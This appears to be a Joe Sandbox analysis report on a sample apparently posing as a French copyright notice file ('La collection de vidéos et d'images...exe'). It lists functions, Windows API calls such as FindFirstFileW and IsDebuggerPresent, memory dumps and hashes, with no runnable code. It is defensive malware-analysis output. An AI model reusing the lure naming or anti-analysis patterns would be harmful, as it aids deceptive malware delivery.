Download Yara Rule

APIs

CreatePipe.KERNELBASE(?,00000E24,?,?), ref: 0093AC36

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 373ebc0ade7ffc08a260394d676d4eb3b827d9c12f3d0ea3e065916b35070811
Instruction ID: 6dd3a72966a5c335ffb033c8523e70b37b82ab86d64c8162405b492516e91330
Opcode Fuzzy Hash: 373ebc0ade7ffc08a260394d676d4eb3b827d9c12f3d0ea3e065916b35070811
Instruction Fuzzy Hash: AD017171A00200ABD310DF26DD86B36FBE8FB88B20F14855AED489B641D735F915CBE6

Function 0093AFB2 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0093AFE4

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: fc1c1dff60f27aa76d48446b0a0772d3f5a560399028f17bddbfec322b15f91c
Instruction ID: 86cbefb236d50b605a8a2d9e6fb77c9eab33a5e382de664dc57a111ed4b0be2e
Opcode Fuzzy Hash: fc1c1dff60f27aa76d48446b0a0772d3f5a560399028f17bddbfec322b15f91c
Instruction Fuzzy Hash: 620128746046409FDB108F16DD85762FBD4EF05324F08C0AADD458B756D379E844DEA2

Function 0093A2DA Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0093A30C

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 7aafe21242180de19af41a2e05350803e697bfc129b3b0ed6534cbaf516ec92e
Instruction ID: e5e1b4700e445f2b8a8df7f4f90b6035686bbf157a60fd9e147739829a452fc4
Opcode Fuzzy Hash: 7aafe21242180de19af41a2e05350803e697bfc129b3b0ed6534cbaf516ec92e
Instruction Fuzzy Hash: 7AF0AF349046409FDB20CF16D985765FBE4EF14724F08C0AADD894B656D379A804CEA2

Function 0093A6D4 Relevance: 1.3, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0093A748

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: cf74e7b4570e7444777cb333ea51a2c57c7da15004512c924f94da64f8fe22c6
Instruction ID: ca7a070be8109033603696d4f8e2b3fc647ec3d2703de770e2b337ce79e47bf4
Opcode Fuzzy Hash: cf74e7b4570e7444777cb333ea51a2c57c7da15004512c924f94da64f8fe22c6
Instruction Fuzzy Hash: F42195759097C45FD7128B25DC95752BFB8EF07324F0980DAEC858F5A3D2249908CB72

Function 0093A716 Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0093A748

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9f753c4e78b89889828e71af19e2628be53655d77c3fc1a4706844c954e84c4b
Instruction ID: c61f432120ca4f1b5405eaa0b56b1595e08f9f02e0f2b4a7f64ca5952dfa8701
Opcode Fuzzy Hash: 9f753c4e78b89889828e71af19e2628be53655d77c3fc1a4706844c954e84c4b
Instruction Fuzzy Hash: 1401DF70A042408FDB10CF25D986766FBE8DF00320F08C4AADC8ACB652D279E804CEA2

Function 00EC02C0 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ab93c480e0f42493831eb2e0da979f2eceb076c98b32e2a50fcda8336667c2
Instruction ID: 30b017cf11196de1645ffc1d423cdc6d2d6faa345d99760dd3cc2c0ce23353d0
Opcode Fuzzy Hash: e5ab93c480e0f42493831eb2e0da979f2eceb076c98b32e2a50fcda8336667c2
Instruction Fuzzy Hash: 54B13A38701210CFD718EF74EA58E5A7BB2FF89348B208529E906AF759DB319D41CB91

Function 00EC0798 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd2229c5cc7f366a4d1b1e8c3cd8587b5051a9c24912e6a1f95737577ac2dca2
Instruction ID: d37f59db8fe0d71d42f06055fb7d3d4b61e1f0792af57fc5690a62135eadbaab
Opcode Fuzzy Hash: bd2229c5cc7f366a4d1b1e8c3cd8587b5051a9c24912e6a1f95737577ac2dca2
Instruction Fuzzy Hash: 59A18E34B00204CFDB08AB74DA55B7E77A3AF9430CF258429D906AB799DF798C42CB51

Function 00EC0B8F Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c427bda792689497983d1a469a401f114b125f23f7d45ae099b1f7a6dff813be
Instruction ID: 5a2e2977709eb1d414b96ccbdb04016d94b5c4e13c967d5bf6df65a3fc880f65
Opcode Fuzzy Hash: c427bda792689497983d1a469a401f114b125f23f7d45ae099b1f7a6dff813be
Instruction Fuzzy Hash: FA11E931B101186FCB04EB74D988DDF7BF2AF882087154579D606EB666EF31D816CB81

Function 00EC0BA0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e10b3ae4a9f6a85b0adfa0647c9bb12c936f5750b1982941a2ffa908911eb2
Instruction ID: 57a3d1c9038db542e82f94884de9c35dccbccfd15a031f5d04bc098c9c793adf
Opcode Fuzzy Hash: f4e10b3ae4a9f6a85b0adfa0647c9bb12c936f5750b1982941a2ffa908911eb2
Instruction Fuzzy Hash: 61119131B10118AFCB04ABB4D9489DE77F6BF88218B264475E606EB625EF31D8558B81

Function 01090809 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2899073468.0000000001090000.00000040.00000020.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1090000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 136bfb1b09fbedf90b06981c8eec99cce027031baa3c022800dcf2cce9789db5
Instruction ID: 611e7471e75ed06d4039b0fb01ded48f32957dd91cd81c0d343fda1683ec1e7f
Opcode Fuzzy Hash: 136bfb1b09fbedf90b06981c8eec99cce027031baa3c022800dcf2cce9789db5
Instruction Fuzzy Hash: D401D4B64092446FC701DF15AC41C57FBECDF82524F08C56EED488B202D236A9198BF2

Function 010905DF Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2899073468.0000000001090000.00000040.00000020.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1090000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5df0b84725b3abb6e6de20ce85651d6af0f974c02c501f2de7e537522b675d28
Instruction ID: f965562286a87c08a5d79216c42b903a93ebb93d771b9ac9140165119803fbb9
Opcode Fuzzy Hash: 5df0b84725b3abb6e6de20ce85651d6af0f974c02c501f2de7e537522b675d28
Instruction Fuzzy Hash: 2601D6B55097806FC711CF06EC41853BFE8EF4663070980ABF84887612C235B918CBA6

Function 0109082E Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2899073468.0000000001090000.00000040.00000020.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1090000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3add7abe3f40ea7ce58033311e1947d17102cd93fffb98e221d88968cb025a96
Instruction ID: 1dbf9d4b1df26dce8331eba432668493327f5055ec312f857d6633c74373c554
Opcode Fuzzy Hash: 3add7abe3f40ea7ce58033311e1947d17102cd93fffb98e221d88968cb025a96
Instruction Fuzzy Hash: 26F082B69056046BD200DF15ED86866F7ECDF84921F08C52EED088B300E376A9154AF7

Function 01090606 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2899073468.0000000001090000.00000040.00000020.00020000.00000000.sdmp, Offset: 01090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1090000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7725b49f180d84ddfc6fbf2c4faa458a8cdf51ab24a8594f76ca1cca6f790f8
Instruction ID: b24eeede0ecc5a726c11039e31821d4291c8241cb4d2e2fd2023e994c9fbebf5
Opcode Fuzzy Hash: d7725b49f180d84ddfc6fbf2c4faa458a8cdf51ab24a8594f76ca1cca6f790f8
Instruction Fuzzy Hash: 44E092B6A006004B9650CF0BED81452F7D8EB84630708C07FDC0D8B701D239B905CEA6

Function 00EC0C50 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 999634c93c3b5f4afc0c3ca2432e8e8e62038870006667408b8341540b677b77
Instruction ID: 49a558f69b386967cad5a8d540148e4aa5434cefc75386d15c74373b36c76f7d
Opcode Fuzzy Hash: 999634c93c3b5f4afc0c3ca2432e8e8e62038870006667408b8341540b677b77
Instruction Fuzzy Hash: E1E0D831F142542FCB48DAB858545AE3FA59B95054F5645BAC004DB283FF34C8428381

Function 00EC0C60 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eb1f78fc726752c8190983b16d0c3e7254ad600b522aee2ffd701bd307b3b21
Instruction ID: 4f92462cc5feea1044ed25b70441e1babaf690ad450cfb2ab5427dc8ead8961f
Opcode Fuzzy Hash: 1eb1f78fc726752c8190983b16d0c3e7254ad600b522aee2ffd701bd307b3b21
Instruction Fuzzy Hash: 22D01231F002182F8B44DAB998445AF7AEAAB85558B664479D009D7341EE35DC418790

Function 00EC0DD1 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e78d0aee147bf25119521d66ff0eb20e237bb3c6ecd2189e479a82b98c9a9085
Instruction ID: 19521c9a4a60348cce3111b82cd388e51bea0af15dc97a9da4f68553803dd40d
Opcode Fuzzy Hash: e78d0aee147bf25119521d66ff0eb20e237bb3c6ecd2189e479a82b98c9a9085
Instruction Fuzzy Hash: 7EE0C23038D3808FC703D334896AE9A3F611F91208F4A81AAC449CF2E7E620CC45C782

Function 009323F4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2893995732.0000000000932000.00000040.00000800.00020000.00000000.sdmp, Offset: 00932000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_932000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1e426e48f0273bdd75995c5bc441cf4eb967cefbed021c35f78e245d772f4a3
Instruction ID: ef878cd870a8d9f420893c24efb3e348f336ab4a99ccb08eb7c9291aaca16d99
Opcode Fuzzy Hash: e1e426e48f0273bdd75995c5bc441cf4eb967cefbed021c35f78e245d772f4a3
Instruction Fuzzy Hash: A0D05E792096914FD3169B1CC1A9B9537D8AB51714F4A44FAA8408B773C768E981DA10

Function 009323BC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2893995732.0000000000932000.00000040.00000800.00020000.00000000.sdmp, Offset: 00932000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_932000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d87940679fed41bfc2ecfe57a493039d67d6c468770a7e95da095ca3be6b437d
Instruction ID: f71cb9af1f479d318a996f42a873c94c3c612dce45185306251a1496263e1bb5
Opcode Fuzzy Hash: d87940679fed41bfc2ecfe57a493039d67d6c468770a7e95da095ca3be6b437d
Instruction Fuzzy Hash: 6ED05E353402814BC715EB1CC2D5F5973D8AB40B14F0644E9AC108B262C7A8D8C1CE10

Function 00EC0DE0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ba787a65773e1c3bf588b50067e98fb9287eaf9b3ce955b0c55dda8e4f670e5
Instruction ID: 0c69848282ed6c8b0bf6edf44ab2fd6743bcc3725abb4391085cf6f20583cd97
Opcode Fuzzy Hash: 8ba787a65773e1c3bf588b50067e98fb9287eaf9b3ce955b0c55dda8e4f670e5
Instruction Fuzzy Hash: BEC01230340304CFD704A768D61DF2573D65BD030CF55C468D5091B656DA71EC41D681

Analysis Process: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exePID: 3636, Parent PID: 3724COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	41.9%
Total number of Nodes:	93
Total number of Limit Nodes:	2

Executed Functions

Function 734235A0 Relevance: 32.6, APIs: 16, Strings: 2, Instructions: 1126
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfW.USER32 ref: 73423628
FindFirstFileW.KERNELBASE(?,?,00000001,00000000,00000000), ref: 7342379E

Strings

c, xrefs: 7342377B
D, xrefs: 73424073

Memory Dump Source

Source File: 0000000B.00000002.2457629784.0000000073421000.00000020.00000001.01000000.00000009.sdmp, Offset: 73420000, based on PE: true

Associated: 0000000B.00000002.2457422814.0000000073420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2457870865.0000000073426000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2458341017.0000000073429000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_73420000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: FileFindFirstwsprintf
String ID: D$c
API String ID: 2655791690-2910924106
Opcode ID: 91e9b7254408ca582012fc0f25829761d366328c06763ec0a6ee4e33c1495e52
Instruction ID: 56bd891477daa24baf03b5a8162032ca6833b902f8d95c03f811e5a925300c41
Opcode Fuzzy Hash: 91e9b7254408ca582012fc0f25829761d366328c06763ec0a6ee4e33c1495e52
Instruction Fuzzy Hash: C092F532904A744BE31CDB759D9076F7EFA9BD5206F0942AFC809FA716DE3849448F88

Function 73424A60 Relevance: 4.8, APIs: 3, Instructions: 324
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 73424B68
lstrcpynW.KERNEL32(?,?,?,?,?,?,?), ref: 73424D05

Memory Dump Source

Source File: 0000000B.00000002.2457629784.0000000073421000.00000020.00000001.01000000.00000009.sdmp, Offset: 73420000, based on PE: true

Associated: 0000000B.00000002.2457422814.0000000073420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2457870865.0000000073426000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2458341017.0000000073429000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_73420000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: FileModuleNamelstrcpyn
String ID:
API String ID: 3953697394-0
Opcode ID: d6aee19a9c462ec9534ac5ee4f6408a82b0c5d67cf1d0a700aecc3aa920d16d6
Instruction ID: f44080d579e1ccbe4da5a6f8acb6d44403515a4c4be1c11c6fe63fa63be4c32f
Opcode Fuzzy Hash: d6aee19a9c462ec9534ac5ee4f6408a82b0c5d67cf1d0a700aecc3aa920d16d6
Instruction Fuzzy Hash: E0C11A729046784BD71CDB399C8036EBEFADBD5206F4542AED509FB312DA384A448F8C

Function 7342511C Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 73425163
___scrt_uninitialize_crt.LIBCMT ref: 7342517D

Memory Dump Source

Source File: 0000000B.00000002.2457629784.0000000073421000.00000020.00000001.01000000.00000009.sdmp, Offset: 73420000, based on PE: true

Associated: 0000000B.00000002.2457422814.0000000073420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2457870865.0000000073426000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2458341017.0000000073429000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_73420000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 7237a1df296ae68a992cc922fc2870252d111ad78b78c32b473ffcdfaa4615bc
Instruction ID: 475953a82eb830af4a314d06e7c501de554c167ef790f287fe4bd593a37baad5
Opcode Fuzzy Hash: 7237a1df296ae68a992cc922fc2870252d111ad78b78c32b473ffcdfaa4615bc
Instruction Fuzzy Hash: FC41A2B2D05319AFEB199F55C800B6EFEB5EB80662F154199E816B72C0D7704901CFA8

Function 734251CC Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 73425209
dllmain_crt_dispatch.LIBCMT ref: 73425220
dllmain_raw.LIBCMT ref: 73425268
dllmain_crt_dispatch.LIBCMT ref: 7342527B
dllmain_raw.LIBCMT ref: 7342528E

Memory Dump Source

Source File: 0000000B.00000002.2457629784.0000000073421000.00000020.00000001.01000000.00000009.sdmp, Offset: 73420000, based on PE: true

Associated: 0000000B.00000002.2457422814.0000000073420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2457870865.0000000073426000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2458341017.0000000073429000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_73420000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 0cb358f4be80636e57f4f8aec552b3ab60d98df1c41576907b29767352cf2ebc
Instruction ID: 4e5c65805bdf75ce16f6690b1ed41f4a62c176a98c00b8d1c7ee6ba03dfe8f52
Opcode Fuzzy Hash: 0cb358f4be80636e57f4f8aec552b3ab60d98df1c41576907b29767352cf2ebc
Instruction Fuzzy Hash: C62174B1D01229AFDB198E55CC40B6FBE79EB80A92F054199FC16773D0D7304D418FA8

Non-executed Functions

Function 6E6457D7 Relevance: 69.5, APIs: 25, Strings: 14, Instructions: 1201COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 6E645825
operator+.LIBVCRUNTIME ref: 6E64583F
DName::operator+.LIBCMT ref: 6E64596D
DName::operator+.LIBCMT ref: 6E64598A

Part of subcall function 6E646AC1: DName::DName.LIBVCRUNTIME ref: 6E646B04

DName::operator+.LIBCMT ref: 6E645A3E
DName::operator+.LIBCMT ref: 6E645A4D

Part of subcall function 6E64B021: DName::operator+.LIBCMT ref: 6E64B065
Part of subcall function 6E64B021: DName::operator+.LIBCMT ref: 6E64B071
Part of subcall function 6E64B021: DName::operator+.LIBCMT ref: 6E64B0EC
Part of subcall function 6E64B021: DName::operator+=.LIBCMT ref: 6E64B12F

DName::operator+.LIBCMT ref: 6E6459D9

Part of subcall function 6E645630: DName::operator=.LIBVCRUNTIME ref: 6E645651

Part of subcall function 6E6455D8: shared_ptr.LIBCMT ref: 6E6455F4

Part of subcall function 6E6470CC: shared_ptr.LIBCMT ref: 6E647172

DName::operator+.LIBCMT ref: 6E645FB7
DName::operator+.LIBCMT ref: 6E645FD3
DName::operator+.LIBCMT ref: 6E646272

Part of subcall function 6E645503: DName::operator+.LIBCMT ref: 6E645524

Strings

`template static data member constructor helper', xrefs: 6E6460B8
`local static destructor helper', xrefs: 6E64605D
`vtordisp{, xrefs: 6E645D8D
extern "C" , xrefs: 6E646518
public: , xrefs: 6E646468
`template static data member destructor helper', xrefs: 6E646114
`adjustor{, xrefs: 6E645DCF
private: , xrefs: 6E6463D1
static , xrefs: 6E646251
[thunk]:, xrefs: 6E6464DB
protected: , xrefs: 6E646422
}' , xrefs: 6E6459C1, 6E645DF3
`vtordispex{, xrefs: 6E645D04
virtual , xrefs: 6E64634E

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name::operator+$NameName::shared_ptr$Name::operator+=Name::operator=operator+
String ID: [thunk]:$`adjustor{$`local static destructor helper'$`template static data member constructor helper'$`template static data member destructor helper'$`vtordispex{$`vtordisp{$extern "C" $private: $protected: $public: $static $virtual $}'
API String ID: 848932493-3028518216
Opcode ID: 86a1dd16303af1be15a737a02062451fc8be0b3ba994e82cf6332e383b110ee9
Instruction ID: 7d7e216c262b664978ba616f1a52085514e0a98a4fbded970796e546764ebcda
Opcode Fuzzy Hash: 86a1dd16303af1be15a737a02062451fc8be0b3ba994e82cf6332e383b110ee9
Instruction Fuzzy Hash: 7C9261B2E6061ADBEF45CEE8CC91BEE77B9AB15304F048539E512E7280DB78D548CB50

Function 73425B2C Relevance: 9.1, APIs: 6, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 73425B38
memset.VCRUNTIME140(?,00000000,00000003), ref: 73425B5E
memset.VCRUNTIME140(?,00000000,00000050), ref: 73425BE8
IsDebuggerPresent.KERNEL32 ref: 73425C04
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 73425C1D
UnhandledExceptionFilter.KERNEL32(?), ref: 73425C27

Memory Dump Source

Source File: 0000000B.00000002.2457629784.0000000073421000.00000020.00000001.01000000.00000009.sdmp, Offset: 73420000, based on PE: true

Associated: 0000000B.00000002.2457422814.0000000073420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2457870865.0000000073426000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2458341017.0000000073429000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_73420000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 7c1252d302a78cfb3c8bddcae264d66649d9b0256ae38d4e8ca7de79c904fc2f
Instruction ID: 0dba6ec2362c41be415e1b4ca1edbb10169ea3a01ddd8aa5fc72c569ff6452f4
Opcode Fuzzy Hash: 7c1252d302a78cfb3c8bddcae264d66649d9b0256ae38d4e8ca7de79c904fc2f
Instruction Fuzzy Hash: 7131E7B5D01218ABDB25DF65C949BCDBBB8AF08301F1041EAE40DBB240EB759A859F45

Function 6E64F2EB Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6E64F301

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 09cfa19834ff595d7dbecfc449b1b064f86219913feeceebc41315c673fd35bd
Instruction ID: 59716e5b88e20d9e10abc9d674f0207277962a687ecaffa321b200d302418aeb
Opcode Fuzzy Hash: 09cfa19834ff595d7dbecfc449b1b064f86219913feeceebc41315c673fd35bd
Instruction Fuzzy Hash: 7FA169B2E50B05CBDB49CF96C99179ABBF0FB4A324F24912AD425EB344D7349848CF94

Function 73425448 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 7342545E

Memory Dump Source

Source File: 0000000B.00000002.2457629784.0000000073421000.00000020.00000001.01000000.00000009.sdmp, Offset: 73420000, based on PE: true

Associated: 0000000B.00000002.2457422814.0000000073420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2457870865.0000000073426000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2458341017.0000000073429000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_73420000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 58355f5fbbcac9e93d7904c971a49b14eead2eca162194d24dd5c8babb8839e3
Instruction ID: f880a4a10a5d9dd6a58741e103dbbfb6c6da952ee94f4cb9b621f8dac2e32987
Opcode Fuzzy Hash: 58355f5fbbcac9e93d7904c971a49b14eead2eca162194d24dd5c8babb8839e3
Instruction Fuzzy Hash: 5EA134B29117098FDB08DF56C481B9EBBF5FB58725F29816AD40AFB381D3349580CB64

Function 6E64E530 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: abfb8e2ee73c47178de9eb3344a295dfc489f523f5d10cf12c718dd71ea30541
